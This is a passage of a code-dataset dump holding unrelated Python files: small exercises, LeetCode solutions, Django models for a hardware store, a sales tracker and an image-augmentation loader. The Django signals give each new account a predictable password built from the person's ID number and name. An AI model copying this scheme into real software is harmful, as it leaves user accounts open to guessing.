Launch_Countdown(2)\n print(calculateDistance(rocket,0,100))\n print(sumDistance(rocket))\n\ndef Main_Menu():\n choice = input(\"launch or edit spacecraft:\\n\")\n if choice == 'launch':\n Launch()\n elif choice == 'edit spacecraft':\n EditSpaceCraft()\n ##elif choice ==\n\nif __name__== '__main__':\n Main_Menu()","repo_name":"JustinHolsclaw/Rocketman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18472725359","text":"def GeneradorLFSR(bitsIniciales, valores):\n generacion = bitsIniciales\n salida_xor = 0\n contador = 1\n aux = 0\n\n while True:\n for valor in valores:\n salida_xor += int(generacion[valor-1])\n if salida_xor%2 == 0.0:\n salida_xor = 0\n else:\n salida_xor = 1\n print('Iteracion # ', contador)\n\n generacion, salida_xor = str(salida_xor) + generacion[:-1], 0\n print('Bits Generados : ' , generacion)\n print('')\n contador+=1\n\n if generacion == bitsIniciales:\n aux+=1\n print('Generado hasta el inicial')\n break\n\nGeneradorLFSR('1010', (3,4))","repo_name":"John-Macao/Simulacion-JohnMacao","sub_path":"Primer Interciclo/Tarea 4 - ALgoritmo de Tausworth/generador/generadorNumero.py","file_name":"generadorNumero.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27691393013","text":"file = open('1000-digit', \"r\")\nnum = file.read()\n\ni = 0\nmultiple = num[i] + num[i+1] + num[i+2] + num[i+3]\nproduct = 0\n\ndef calculation(string):\n counter = 0\n prod = 1\n while counter < len(string):\n prod = prod * int(string[counter])\n counter = counter + 1\n return prod\n\nwhile i < len(num) - 3:\n if int(calculation(multiple)) > product:\n product = int(calculation(multiple))\n i = i + 1\n\nprint(product)\n","repo_name":"svensonidis/project_euler","sub_path":"largest_product_in_a_series.py","file_name":"largest_product_in_a_series.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37217608461","text":"class Solution:\n def kthGrammar(self, N: int, K: int) -> int:\n N-=1 # turn to 0 based\n K-=1 # turn to 0 based\n if K == 0 or N == 0: return 0 #first element will always be 0\n else:\n first = [0,1]\n if N == 1 : return first[K]\n path = [] #1. left, 2. right\n while N > 1 :\n if K%2 == 0:\n path.append(1) #current is the right child\n else:\n path.append(2) # current is the left child\n K = K//2\n N -= 1\n path = path[::-1]\n #print(path)\n output = first[K]\n for p in path:\n if p ==2:\n output = abs(output-1) #0 to 1, 1 to 0\n return output","repo_name":"renjieliu/leetcode","sub_path":"0600_0999/779.py","file_name":"779.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"35081947921","text":"# https://leetcode.com/problems/implement-trie-prefix-tree/\nfrom dataclasses import dataclass, field\n\n@dataclass\nclass TrieNode:\n children: defaultdict = field(default_factory=lambda: defaultdict(TrieNode))\n isLeaf: bool = False\n\nclass Trie:\n\n def __init__(self):\n self.root = TrieNode()\n \n\n def insert(self, word: str) -> None:\n cur = self.root\n for char in word:\n cur = cur.children[char]\n \n cur.isLeaf = True\n cur.word = word\n \n\n def search(self, word: str) -> bool:\n cur = self.root\n for char in word:\n cur = cur.children.get(char)\n if cur is None:\n return False\n \n return cur.isLeaf\n \n\n def startsWith(self, prefix: str) -> bool:\n cur = self.root\n for char in prefix:\n cur = cur.children.get(char)\n if cur is None:\n return False\n \n return True\n \n\n\n# Your Trie object will be instantiated and called as such:\n# obj = Trie()\n# obj.insert(word)\n# param_2 = obj.search(word)\n# param_3 = obj.startsWith(prefix)\n","repo_name":"AravindVasudev/datastructures-and-algorithms","sub_path":"problems/leetcode/implement-trie-prefix-tree.py","file_name":"implement-trie-prefix-tree.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"15289083880","text":"from django.db import models\nfrom django.contrib.auth.models import User, Group\nfrom django.utils.text import slugify\nfrom django.urls import reverse\nfrom datetime import datetime\nfrom django.db.models.signals import pre_save, post_save, pre_delete, post_delete\nfrom django.dispatch import receiver\n\n# Create your models here.\n\nclass Categoria(models.Model):\n nombre = models.CharField(max_length=50)\n slug = models.SlugField(max_length=80, unique=True)\n\n class Meta:\n verbose_name_plural = 'categorias'\n\n def get_absolute_url(self):\n return reverse('ferme:categoria_lista', args=[self.slug])\n\n def __str__(self):\n return self.nombre\n\n\nclass Marca(models.Model):\n nombre = models.CharField(max_length=50)\n slug = models.SlugField(max_length=80, unique=True)\n\n class Meta:\n verbose_name_plural = 'marcas'\n \n def get_absolute_url(self):\n return reverse('ferme:marca_lista', args=[self.slug])\n\n\n def __str__(self):\n return self.nombre\n\n\nclass Tipo(models.Model):\n nombre = models.CharField(max_length=80)\n\n class Meta:\n verbose_name_plural = 'tipos'\n\n def __str__(self):\n return self.nombre\n\n\nclass Cliente(models.Model):\n rut = models.CharField(max_length=9, unique=True)\n nombre = models.CharField(max_length=40)\n apellido_paterno = models.CharField(max_length=30)\n apellido_materno = models.CharField(max_length=30, null=True, blank=True)\n fecha_nacimiento = models.DateField(null=True, blank=True)\n email = models.EmailField(max_length=50, unique=True)\n telefono = models.CharField(max_length=9)\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n\n class Meta:\n verbose_name_plural = 'clientes'\n\n def __str__(self):\n return self.nombre + ' ' + self.apellido_paterno\n\n\nclass Proveedor(models.Model):\n rut = models.CharField(max_length=9, unique=True)\n nombre = models.CharField(max_length=40)\n apellido_paterno = models.CharField(max_length=30)\n apellido_materno = models.CharField(max_length=30, null=True, blank=True)\n fecha_nacimiento = models.DateField(null=True, blank=True)\n email = models.EmailField(max_length=50, unique=True)\n telefono = models.CharField(max_length=9)\n rubro = models.CharField(max_length=40)\n empresa = models.CharField(max_length=40)\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n\n class Meta:\n verbose_name_plural = 'proveedores'\n\n def __str__(self):\n return self.nombre + ' ' + self.apellido_paterno\n\n\nclass Empleado(models.Model):\n cargo_opciones = (\n ('VENDEDOR', 'VENDEDOR'),\n ('SUPERVISOR', 'SUPERVISOR'),\n ('ADMIN', 'ADMIN')\n )\n\n rut = models.CharField(max_length=9, unique=True)\n nombre = models.CharField(max_length=40)\n apellido_paterno = models.CharField(max_length=30)\n apellido_materno = models.CharField(max_length=30, null=True, blank=True)\n fecha_nacimiento = models.DateField(null=True, blank=True)\n email = models.EmailField(max_length=50, unique=True)\n telefono = models.CharField(max_length=9)\n cargo = models.CharField(max_length=25, choices=cargo_opciones, default=cargo_opciones[0][0])\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n\n class Meta:\n verbose_name_plural = 'empleados'\n\n def __str__(self):\n return self.nombre + ' ' + self.apellido_paterno + ' ' + str(self.cargo)\n\n\nclass Producto(models.Model):\n cod_prod = models.CharField(max_length=17,unique=True, null=True, blank=True)\n nombre = models.CharField(max_length=50)\n descripcion = models.TextField(max_length=400)\n precio = models.PositiveIntegerField()\n stock_actual = models.PositiveIntegerField()\n stock_critico = models.PositiveIntegerField()\n fecha_vencimiento = models.DateField(null=True, blank=True)\n img = models.ImageField(upload_to='images/', default='images/default.jpg')\n slug = models.SlugField(max_length=80)\n activo = models.BooleanField(default=False)\n categoria = models.ForeignKey(Categoria, related_name='producto_categoria', on_delete=models.PROTECT)\n marca = models.ForeignKey(Marca, related_name='producto_marca', on_delete=models.PROTECT)\n proveedor = models.ForeignKey(Proveedor, related_name='producto_proveedor', on_delete=models.PROTECT)\n tipo = models.ForeignKey(Tipo, related_name='producto_tipo', on_delete=models.PROTECT)\n\n class Meta:\n verbose_name_plural = 'productos'\n\n def get_absolute_url(self):\n return reverse('ferme:producto_detalle', args=[self.slug])\n\n def __str__(self):\n return self.nombre\n\n\nclass OrdenCompra(models.Model):\n estado_opciones = (\n ('GENERADA', 'GENERADA'),\n ('RECIBIDA', 'RECIBIDA'),\n ('ANULADA', 'ANULADA')\n )\n\n fecha_solicitud = models.DateField(default=datetime.now)\n productos_solicitados = models.TextField(max_length=400, null=True, blank=True) \n fecha_recepcion = models.DateField(null=True, blank=True)\n activo = models.BooleanField(default=True)\n estado_orden = models.CharField(max_length=15, choices=estado_opciones, default=estado_opciones[0][0])\n empleado = models.ForeignKey(Empleado, related_name='ordencompra_empleado', on_delete=models.PROTECT)\n proveedor = models.ForeignKey(Proveedor, related_name='ordencompra_proveedor', on_delete=models.PROTECT)\n\n class Meta:\n verbose_name_plural = 'ordenes de compra'\n\n def __str__(self):\n return str(self.fecha_solicitud) + ' ' +str(self.proveedor) + ' ' + self.estado_orden\n\n\nclass DetalleOrden(models.Model):\n orden_compra = models.ForeignKey(OrdenCompra, related_name='detalleorden_ordencompra', on_delete=models.CASCADE)\n producto = models.ForeignKey(Producto, related_name='detalleorden_producto', on_delete=models.PROTECT) \n cantidad = models.PositiveIntegerField()\n\n class Meta:\n verbose_name_plural = 'detalle de ordenes'\n\n def __str__(self):\n return str(self.orden_compra.id) + ' ' + str(self.producto.nombre) + ' ' + str(self.cantidad)\n\nclass Compra(models.Model):\n medio_opciones = (\n ('EFECTIVO', 'EFECTIVO'),\n ('DEBITO', 'DEBITO'),\n ('CREDITO', 'CREDITO')\n )\n\n user = models.ForeignKey(User, on_delete=models.PROTECT, related_name=\"compra_user\", null=True, blank=True)\n nombre = models.CharField(max_length=40)\n apellido_paterno = models.CharField(max_length=30)\n email = models.EmailField(max_length=254, blank=True)\n fecha = models.DateField(auto_now_add=True)\n total = models.PositiveIntegerField()\n order_key = models.CharField(max_length=200, blank=True)\n medio_pago = models.CharField(max_length=200,choices=medio_opciones, default=medio_opciones[0][0])\n pagado = models.BooleanField(default=False)\n empleado = models.ForeignKey(Empleado, related_name='compra_empleado', on_delete=models.PROTECT, null=True, blank=True)\n\n class Meta:\n verbose_name_plural = 'compras'\n\n def __str__(self):\n return str(self.nombre) + ' ' + str(self.apellido_paterno) + ' ' + str(self.fecha) + ' ' + str(self.total)\n\nclass Factura(models.Model):\n estado_opciones = (\n ('GENERADA', 'GENERADA'),\n ('ANULADA', 'ANULADA')\n )\n fecha = models.DateField(default=datetime.now)\n nombre_empresa = models.CharField(max_length=50)\n rut_empresa = models.CharField(max_length=9) \n telefono = models.CharField(max_length=9)\n total = models.PositiveIntegerField()\n estado = models.CharField(max_length=15, choices=estado_opciones, default=estado_opciones[0][0])\n compra = models.OneToOneField(Compra, on_delete=models.PROTECT, unique=True)\n\n class Meta:\n verbose_name_plural = 'facturas'\n\n def __str__(self):\n return str(self.id)\n\n\nclass Boleta(models.Model):\n estado_opciones = (\n ('GENERADA', 'GENERADA'),\n ('ANULADA', 'ANULADA')\n )\n fecha = models.DateField(default=datetime.now)\n rut_cliente = models.CharField(max_length=9) \n total = models.PositiveIntegerField()\n estado = models.CharField(max_length=15, choices=estado_opciones, default=estado_opciones[0][0])\n compra = models.OneToOneField(Compra, on_delete=models.PROTECT, unique=True)\n\n class Meta:\n verbose_name_plural = 'boletas'\n\n def __str__(self):\n return str(self.id)\n\n\nclass NotaCredito(models.Model):\n estado_opciones = (\n ('GENERADA', 'GENERADA'),\n ('ANULADA', 'ANULADA')\n )\n nombre_cliente = models.CharField(max_length=20)\n apellido_cliente = models.CharField(max_length=20)\n rut = models.CharField(max_length=9) \n fecha = models.DateField(auto_now_add=True)\n total_devolucion = models.PositiveIntegerField()\n estado = models.CharField(max_length=15, choices=estado_opciones, default=estado_opciones[0][0])\n boleta = models.OneToOneField(Boleta, on_delete=models.CASCADE, null=True, blank=True)\n factura = models.OneToOneField(Factura, on_delete=models.CASCADE, null=True, blank=True)\n empleado = models.ForeignKey(Empleado, related_name='notacredito_empleado', on_delete=models.PROTECT)\n\n class Meta:\n verbose_name_plural = 'notas de credito'\n\n def __str__(self):\n return self.nombre_cliente + ' ' + self.apellido_cliente + ' ' + str(self.fecha) + ' ' + str(self.total_devolucion)\n\n\nclass DetalleCompra(models.Model):\n compra = models.ForeignKey(Compra, related_name='detallecompra_compra', on_delete=models.PROTECT)\n producto = models.ForeignKey(Producto, related_name='detallecompra_producto', on_delete=models.PROTECT)\n cantidad = models.PositiveIntegerField()\n precio = models.PositiveIntegerField()\n\n class Meta:\n verbose_name_plural = 'detalle de compras'\n\n def __str__(self):\n return str(self.compra.id) + ' ' + str(self.producto.nombre) + ' ' + str(self.cantidad)\n\n\n\n# eventos \n\n# generar codigo de producto de manera autómatica al momento de creación\n@receiver(post_save, sender=Producto)\ndef set_cod_producto(sender, instance, created, **kwargs):\n if created:\n producto = Producto.objects.get(pk=instance.id)\n proveedor = str(producto.proveedor.id)\n categoria = str(producto.categoria.id)\n fecha = producto.fecha_vencimiento\n tipo = str(producto.tipo.id)\n while(len(proveedor) < 3):\n proveedor = '0' + proveedor\n while(len(categoria) < 3):\n categoria = '0' + categoria\n while(len(tipo) < 3):\n tipo = '0' + tipo\n if not fecha:\n fecha = '00000000'\n else:\n fecha = str(fecha).replace(\"-\",\"\")\n \n producto.cod_prod = proveedor + categoria + fecha + tipo\n producto.save()\n\n@receiver(pre_save, sender=Producto)\ndef crear_slug_producto(sender, instance, **kwargs):\n instance.slug = orig = slugify(instance.nombre)\n\n# asignar empleados a su grupo correspondiente\n@receiver(post_save, sender=Empleado)\ndef asignar_grupo_emp(sender, instance, **kwargs):\n empleado = Empleado.objects.get(pk=instance.id)\n cargo = empleado.cargo\n grupo = Group.objects.get(name=cargo)\n empleado.user.groups.set([grupo])\n if cargo == 'ADMIN':\n empleado.user.is_superuser = True\n empleado.user.is_staff = True\n empleado.user.save()\n elif cargo == 'VENDEDOR' or cargo == 'SUPERVISOR':\n empleado.user.is_superuser = False\n empleado.user.is_staff = True\n empleado.user.save()\n\n@receiver(pre_save, sender=Empleado)\ndef empleado_usuario_creacion(sender, instance, **kwargs):\n empleado = Empleado.objects.filter(pk=instance.id).first()\n if empleado:\n print('empleado ya existe')\n pass\n else:\n #nombre de usario será el mail\n #la contraseña será los primeros 6 digitos del rut seguido de las primeras 3 letras del nombre\n print('usuario nuevo')\n username = instance.email\n password = (str(instance.rut))[0:6] + (str(instance.nombre))[0:3].lower() \n first_name = instance.nombre\n instance.user = User.objects.create_user(username=username, password=password, first_name=first_name, email=username)\n\n@receiver(post_delete, sender=Empleado)\ndef empleado_usuario_delete(sender, instance, **kwargs):\n user = instance.user\n user.delete()\n\n# asignar clientes a su grupo correspondiente\n@receiver(post_save, sender=Cliente)\ndef asignar_grupo_cli(sender, instance, **kwargs):\n cliente = Cliente.objects.filter(pk=instance.id).first()\n grupo = Group.objects.get(name='CLIENTE')\n cliente.user.groups.set([grupo])\n cliente.user.save()\n\n@receiver(pre_save, sender=Cliente)\ndef cliente_usuario_creacion(sender, instance, **kwargs):\n cliente = Cliente.objects.filter(pk=instance.id).first()\n if cliente:\n print('cliente ya existe')\n pass\n else:\n #nombre de usario será el mail\n #la contraseña será los primeros 6 digitos del rut seguido de las primeras 3 letras del nombre\n print('usuario nuevo')\n username = instance.email\n password = (str(instance.rut))[0:6] + (str(instance.nombre))[0:3].lower() \n first_name = instance.nombre\n instance.user = User.objects.create_user(username=username, password=password, first_name=first_name, email=username)\n\n@receiver(post_delete, sender=Cliente)\ndef cliente_usuario_delete(sender, instance, **kwargs):\n user = instance.user\n user.delete()\n\n# asignar proveedores a su grupo correspondiente\n@receiver(post_save, sender=Proveedor)\ndef asignar_grupo_pro(sender, instance, **kwargs):\n proveedor = Proveedor.objects.get(pk=instance.id)\n grupo = Group.objects.get(name='PROVEEDOR')\n proveedor.user.groups.set([grupo])\n proveedor.user.save()\n\n@receiver(pre_save, sender=Proveedor)\ndef proveedor_usuario_creacion(sender, instance, **kwargs):\n proveedor = Proveedor.objects.filter(pk=instance.id).first()\n if proveedor:\n print('proveedor ya existe')\n pass\n else:\n #nombre de usario será el mail\n #la contraseña será los primeros 6 digitos del rut seguido de las primeras 3 letras del nombre\n print('usuario nuevo')\n username = instance.email\n password = (str(instance.rut))[0:6] + (str(instance.nombre))[0:3].lower() \n first_name = instance.nombre\n instance.user = User.objects.create_user(username=username, password=password, first_name=first_name, email=username)\n\n@receiver(post_delete, sender=Proveedor)\ndef empleado_usuario_delete(sender, instance, **kwargs):\n user = instance.user\n user.delete()\n\n# rellenar descripción de orden de compra en base a detalle de orden\n@receiver(post_save, sender=DetalleOrden)\ndef desc_orden_crear(sender, instance, **kwargs):\n orden = OrdenCompra.objects.get(pk=instance.orden_compra.id)\n detalles = DetalleOrden.objects.filter(orden_compra=orden.id)\n orden.productos_solicitados = ''\n for detalle in detalles:\n orden.productos_solicitados += str(detalle.producto) + ' x ' + str(detalle.cantidad) + '\\n'\n orden.save()\n \n@receiver(post_delete, sender=DetalleOrden)\ndef desc_orden_actualizar(sender, instance, **kwargs):\n orden = OrdenCompra.objects.get(pk=instance.orden_compra.id)\n detalles = DetalleOrden.objects.filter(orden_compra=orden.id)\n orden.productos_solicitados = ''\n for detalle in detalles:\n orden.productos_solicitados += str(detalle.producto) + ' x ' + str(detalle.cantidad) + '\\n'\n orden.save()\n\n\n\n# agregar stock de productos recepcionados en orden de compra\n@receiver(post_save, sender=OrdenCompra)\ndef asignar_stock_orden(sender, instance, created, **kwargs):\n orden = instance\n if created:\n orden.estado_orden = 'GENERADA'\n orden.save()\n if orden.estado_orden == 'RECIBIDA' and orden.activo == True:\n detalles = DetalleOrden.objects.filter(orden_compra=orden.id)\n for detalle in detalles:\n detalle.producto.stock_actual += detalle.cantidad\n detalle.producto.save()\n orden.activo = False\n orden.save()\n \n","repo_name":"RodrigoGutierrezT/portafolio","sub_path":"ferme/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":16019,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"69877073067","text":"#DailySale Class\nfrom datetime import datetime as dt\nfrom MainFiles.Sale_Class import Sale\nfrom file_operations import *\nfrom NewSale.objects_file_ops import add_to_file_obj\nimport os\n\nclass DailySales:\n def __init__(self):\n self.sales = []\n self.sale_num_dict = {}\n self.total_sale_today = len(self.sale_num_dict)\n self.daily_total = 0\n self.daily_qty = 0\n self.months = {1:'January', 2:'February', 3:'March', 4:'April',\\\n 5:'May', 6:'June', 7:'July', 8:'August', 9:'September',\\\n 10:'October', 11:'November', 12:'December'}\n\n #create_file()\n self.t = dt.today()\n self.date_string = '{0}-{1}-{2}'.format(self.t.day,\\\n self.t.month,\\\n self.t.year)\n\n## self.path = 'Logs/{0}/{1}/'.format(self.t.year,\\\n## self.months[self.t.month])\n## self.file_name = '{0}.csv'.format(self.date_string)\n## if not os.path.exists(self.path):\n## os.makedirs(self.path)\n## self.file = open(os.path.join(self.path, self.file_name), 'w')\n## self.file.close\n\n def add_sales(self, sale_object):\n sale_num = sale_object[0].sale_num\n if isinstance(sale_object, Sale):\n self.sales.append(sale_object)\n self.daily_total += sale_object.total_sale\n self.daily_qty += sale_object.quantity\n self.total_sale_today += 1\n self.sale_num_dict[sale_num] = [sale_object]\n #add_to_file(sale_object)\n## self.file = open(os.path.join(self.path, self.file_name), 'a')\n## self.file.write(sale_object.csv_format())\n## self.file.close()\n if isinstance(sale_object, list):\n self.sale_num_dict[sale_num] = sale_object\n for item in sale_object:\n self.sales.append(item)\n self.daily_total += item.total_sale\n self.daily_qty += item.quantity\n #add_to_file(item)\n## self.file = open(os.path.join(self.path, self.file_name), 'a')\n## self.file.write(item.csv_format())\n## self.file.close()\n self.total_sale_today += 1\n else:\n return \"Incorrect input, not sale object\"\n\n#NEED TO FIX\n def delete_sales(self, number):\n for i in range(len(self.sales)):\n if self.sales[i].sale_num == number:\n self.daily_total -= self.sales[i].total_sale\n self.daily_qty -= self.sales[i].quantity\n\n f = open(os.path.join(self.path, self.file_name))\n lst = f.readlines()\n f.close()\n lst.pop(number)\n f = open(os.path.join(self.path, self.file_name), 'w')\n for item in lst:\n f.write(item)\n self.sales.pop(i)\n break\n\n def clear_file(self):\n create_file()\n add_to_file_obj(self)\n\n def create_csv(self):\n dic = self.sale_num_dict\n lst = []\n for item in dic.values():\n lst += item\n\n for sale in lst:\n add_to_file(sale)\n def close_today(self):\n pass\n\n def __repr__(self):\n return \"Daily Sale: {0}\".format(self.date_string)\n\nif __name__ == '__main__':\n x = DailySales()\n## from Sale_Class import Sale\n## s1 = Sale(1, 'Dash', quantity=10, price=80)\n## s2 = Sale(2, 'kavin', quantity=55, price=53)\n## s3 = Sale(3, 'Abhin', quantity=150, price=100)\n## s4 = Sale(4, 'Kawal', quantity =3600, price=1.5)\n## lst = [s1, s2, s3]\n## x.add_sales(lst)\n","repo_name":"dashvinsingh/Daily-Sale-Tracker","sub_path":"MainFiles/Daily_Class.py","file_name":"Daily_Class.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73312749228","text":"from logging import exception, raiseExceptions\nfrom os import path\nimport torch \nimport numpy as np\nfrom random import randint\nimport cv2\nfrom torch._C import clear_autocast_cache\nfrom utils.utils_blindsr import degradation_bsrgan, degradation_bsrgan_plus_an\nfrom torchvision import transforms, utils\nimport re\nimport collections\nfrom torch._six import string_classes\nimport random\nfrom utils.mask_utils import get_random_points,get_bezier_curve\nfrom utils import utils_blindsr\nnp_str_obj_array_pattern = re.compile(r'[SaUO]')\n\n\ndefault_collate_err_msg_format = (\n \"default_collate: batch must contain tensors, numpy arrays, numbers, \"\n \"dicts or lists; found {}\")\n\n\nclass DataBatch:\n def __init__(self,transfrom,max_box,max_cells,devider=4,force_size = None):\n self.transfrom = transfrom\n self.max_box = max_box\n self.max_cells = max_cells\n self.devider = devider\n self.force_size = force_size\n \n\n\n def collate_fn(self,batch):\n \n #calculate img crop size\n min_h,max_h,min_w,max_w = self.max_box\n patch_h = 2000\n patch_w = 2000\n while(patch_h*patch_w > self.max_cells or (patch_h%self.devider !=0 or patch_w%self.devider !=0)):\n patch_h = randint(min_h,max_h) \n patch_w = patch_h #randint(min_w,max_w)\n\n if(self.force_size is not None):\n patch_h = self.force_size\n patch_w = self.force_size\n\n crop = FaceCrop()\n rescale = FaceRescale((patch_h,patch_w),(patch_h,patch_w))\n smooth = FaceSmooth()\n\n batch_= []\n for sample in batch:\n sample_ = crop(sample)\n sample_ = rescale(sample_)\n sample_ = smooth(sample_)\n sample_ = self.transfrom(sample_)\n # print(sample_[\"img_H\"].size())\n # print(sample_[\"img_L\"].size())\n\n batch_.append(sample_)\n\n # elem = batch[0]\n # return {key: self.cellect([d[key] for d in batch]) for key in elem}\n return self.default_collate(batch_)\n\n # def cellect(self,batch):\n # elem = batch[0]\n # elem_type = type(elem)\n # out = None\n # if torch.utils.data.get_worker_info() is not None:\n # # If we're in a background process, concatenate directly into a\n # # shared memory tensor to avoid an extra copy\n # numel = sum(x.numel() for x in batch)\n # storage = elem.storage()._new_shared(numel)\n # out = elem.new(storage)\n # return torch.stack(batch, 0, out=out)\n\n\n def default_collate(self,batch):\n r\"\"\"Puts each data field into a tensor with outer dimension batch size\"\"\"\n\n elem = batch[0]\n elem_type = type(elem)\n if isinstance(elem, torch.Tensor):\n out = None\n if torch.utils.data.get_worker_info() is not None:\n # If we're in a background process, concatenate directly into a\n # shared memory tensor to avoid an extra copy\n numel = sum(x.numel() for x in batch)\n storage = elem.storage()._new_shared(numel)\n out = elem.new(storage)\n return torch.stack(batch, 0, out=out)\n elif elem_type.__module__ == 'numpy' and elem_type.__name__ != 'str_' \\\n and elem_type.__name__ != 'string_':\n if elem_type.__name__ == 'ndarray' or elem_type.__name__ == 'memmap':\n # array of string classes and object\n if np_str_obj_array_pattern.search(elem.dtype.str) is not None:\n raise TypeError(default_collate_err_msg_format.format(elem.dtype))\n\n return self.default_collate([torch.as_tensor(b) for b in batch])\n elif elem.shape == (): # scalars\n return torch.as_tensor(batch)\n elif isinstance(elem, float):\n return torch.tensor(batch, dtype=torch.float64)\n elif isinstance(elem, int):\n return torch.tensor(batch)\n elif isinstance(elem, string_classes):\n return batch\n elif isinstance(elem, collections.abc.Mapping):\n try:\n return elem_type({key: self.default_collate([d[key] for d in batch]) for key in elem})\n except TypeError:\n # The mapping type may not support `__init__(iterable)`.\n return {key: self.default_collate([d[key] for d in batch]) for key in elem}\n elif isinstance(elem, tuple) and hasattr(elem, '_fields'): # namedtuple\n return elem_type(*(self.default_collate(samples) for samples in zip(*batch)))\n elif isinstance(elem, collections.abc.Sequence):\n # check to make sure that the elements in batch have consistent size\n it = iter(batch)\n elem_size = len(next(it))\n if not all(len(elem) == elem_size for elem in it):\n raise RuntimeError('each element in list of batch should be of equal size')\n transposed = list(zip(*batch)) # It may be accessed twice, so we use a list.\n\n if isinstance(elem, tuple):\n return [self.default_collate(samples) for samples in transposed] # Backwards compatibility.\n else:\n try:\n return elem_type([self.default_collate(samples) for samples in transposed])\n except TypeError:\n # The sequence type may not support `__init__(iterable)` (e.g., `range`).\n return [self.default_collate(samples) for samples in transposed]\n\n raise TypeError(default_collate_err_msg_format.format(elem_type))\n\n\n\n\n\n\n\n\n\nclass FaceCrop(object):\n\n def __call__(self, sample):\n\n img_H= sample['img_H']\n\n h, w = img_H.shape[:2]\n if(h == w):\n return sample\n elif(h > w):\n lq_patchsize = w -1\n else:\n lq_patchsize = h -1\n\n rnd_h = random.randint(0, h-lq_patchsize)\n rnd_w = random.randint(0, w-lq_patchsize)\n\n rnd_h_H, rnd_w_H = int(rnd_h), int(rnd_w)\n img_H_ = img_H.copy()[rnd_h_H:rnd_h_H + lq_patchsize, rnd_w_H:rnd_w_H + lq_patchsize, :]\n # print(\"img_H_\",img_H_.shape)\n return {'img_H': img_H_} \n\n\n\n\n\n\n\n\nclass FaceRescale(object):\n \"\"\"Rescale the image in a sample to a given size.\n\n Args:\n output_size (tuple or int): Desired output size. If tuple, output is\n matched to output_size. If int, smaller of image edges is matched\n to output_size keeping aspect ratio the same.\n \"\"\"\n\n def __init__(self ,input_size,output_size):\n assert isinstance(output_size, (int, tuple))\n self.output_size = output_size\n self.input_size = input_size\n \n\n def __call__(self, sample):\n\n img_H= sample['img_H']\n\n h, w = img_H.shape[:2]\n if(h == self.input_size and w == self.input_size):\n return {'img_H': img_H, 'img_L': img_H} \n\n if isinstance(self.input_size, int):\n if h > w:\n new_h, new_w = self.input_size * h / w, self.input_size\n else:\n new_h, new_w = self.input_size, self.input_size * w / h\n else:\n new_h, new_w = self.input_size\n\n new_h, new_w = int(new_h), int(new_w)\n \n img_L_ = cv2.resize(img_H, (new_h, new_w), interpolation=cv2.INTER_CUBIC)\n # print(\"img_L\",img_L_.shape)\n\n if isinstance(self.output_size, int):\n if h > w:\n new_h, new_w = self.output_size * h / w, self.output_size\n else:\n new_h, new_w = self.output_size, self.output_size * w / h\n else:\n new_h, new_w = self.output_size\n\n new_h, new_w = int(new_h), int(new_w)\n interpolate= random.choice([1, 2, 3]);\n\n img_H_ = cv2.resize(img_H, (new_h, new_w), interpolation=interpolate)\n # print(\"img_H_\",img_H_.shape)\n\n\n\n \n\n return {'img_H': img_H_, 'img_L': img_L_} \n\n\n\n\nclass FaceSmooth(object):\n \n\n def __call__(self, sample):\n\n img_H, img_L= sample['img_H'], sample['img_L']\n r = randint(1,16)\n if(r == 3 or r == 6):\n i = randint(2,5)\n img_H_ = cv2.blur(img_H,(i,i))\n img_L_ = cv2.blur(img_L,(i,i))\n else:\n img_H_ = img_H\n img_L_ = img_L\n\n return {'img_H': img_H_, 'img_L': img_L_} \n\n\n\n\n\n\n\n\n\n\nclass AddMaskFace(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n def __init__(self,color = (0,0,0)):\n self.output_size = None\n self.masks = [self.circle,self.arbitrary_shape,self.line,self.circle,self.arbitrary_shape,self.rectangle,self.circle_mask]\n self.color = color\n\n def __call__(self, sample):\n img_H,img_L = sample['img_H'] , sample[\"img_L\"]\n\n img_H = cv2.cvtColor(img_H, cv2.COLOR_BGR2RGB)\n img_L = cv2.cvtColor(img_L, cv2.COLOR_BGR2RGB)\n h, w = img_L.shape[:2]\n self.output_size = min(h,w)\n # img_L = self.masks[6](img_L)\n for i in range(randint(2,5)):\n img_L = self.masks[randint(0,4)](img_L)\n\n # print(\"img_L\",img_L.shape)\n\n return {'img_H': img_H,'img_L': img_L}\n\n def line(self,image):\n offset = int(self.output_size / 9)\n threshold = int(self.output_size / 5)\n line_dim = 50000;\n while(line_dim > threshold):\n s_h = randint(offset,self.output_size-offset)\n s_w = randint(offset,self.output_size-offset)\n e_h = randint(s_h,self.output_size-offset)\n e_w = randint(s_w,self.output_size-offset)\n line_dim = np.sqrt((s_h - e_h)**2 + (s_w - e_w)**2)\n\n img_masked = cv2.line(\n image,\n pt1 = (s_w, s_h), pt2 = (e_w, e_h),\n color = self.color,\n thickness = randint(int(self.output_size/50),int(self.output_size/20)))\n return img_masked \n \n def rectangle(self,image):\n offset = int(self.output_size / 9)\n threshold = int(self.output_size / 5)\n line_dim = 50000;\n while(line_dim > threshold):\n s_h = randint(offset,self.output_size-offset)\n s_w = randint(offset,self.output_size-offset)\n e_h = randint(s_h,self.output_size-offset)\n e_w = randint(s_w,self.output_size-offset)\n line_dim = np.sqrt((s_h - e_h)**2 + (s_w - e_w)**2)\n\n \n img_masked = cv2.rectangle(\n image,\n pt1 = (s_w, s_h), pt2 = (e_w, e_h),\n color = self.color,\n thickness = -1)\n return img_masked \n\n def circle(self,image):\n s_h = randint(int(self.output_size/2-(self.output_size/3)),self.output_size-10)\n s_w = 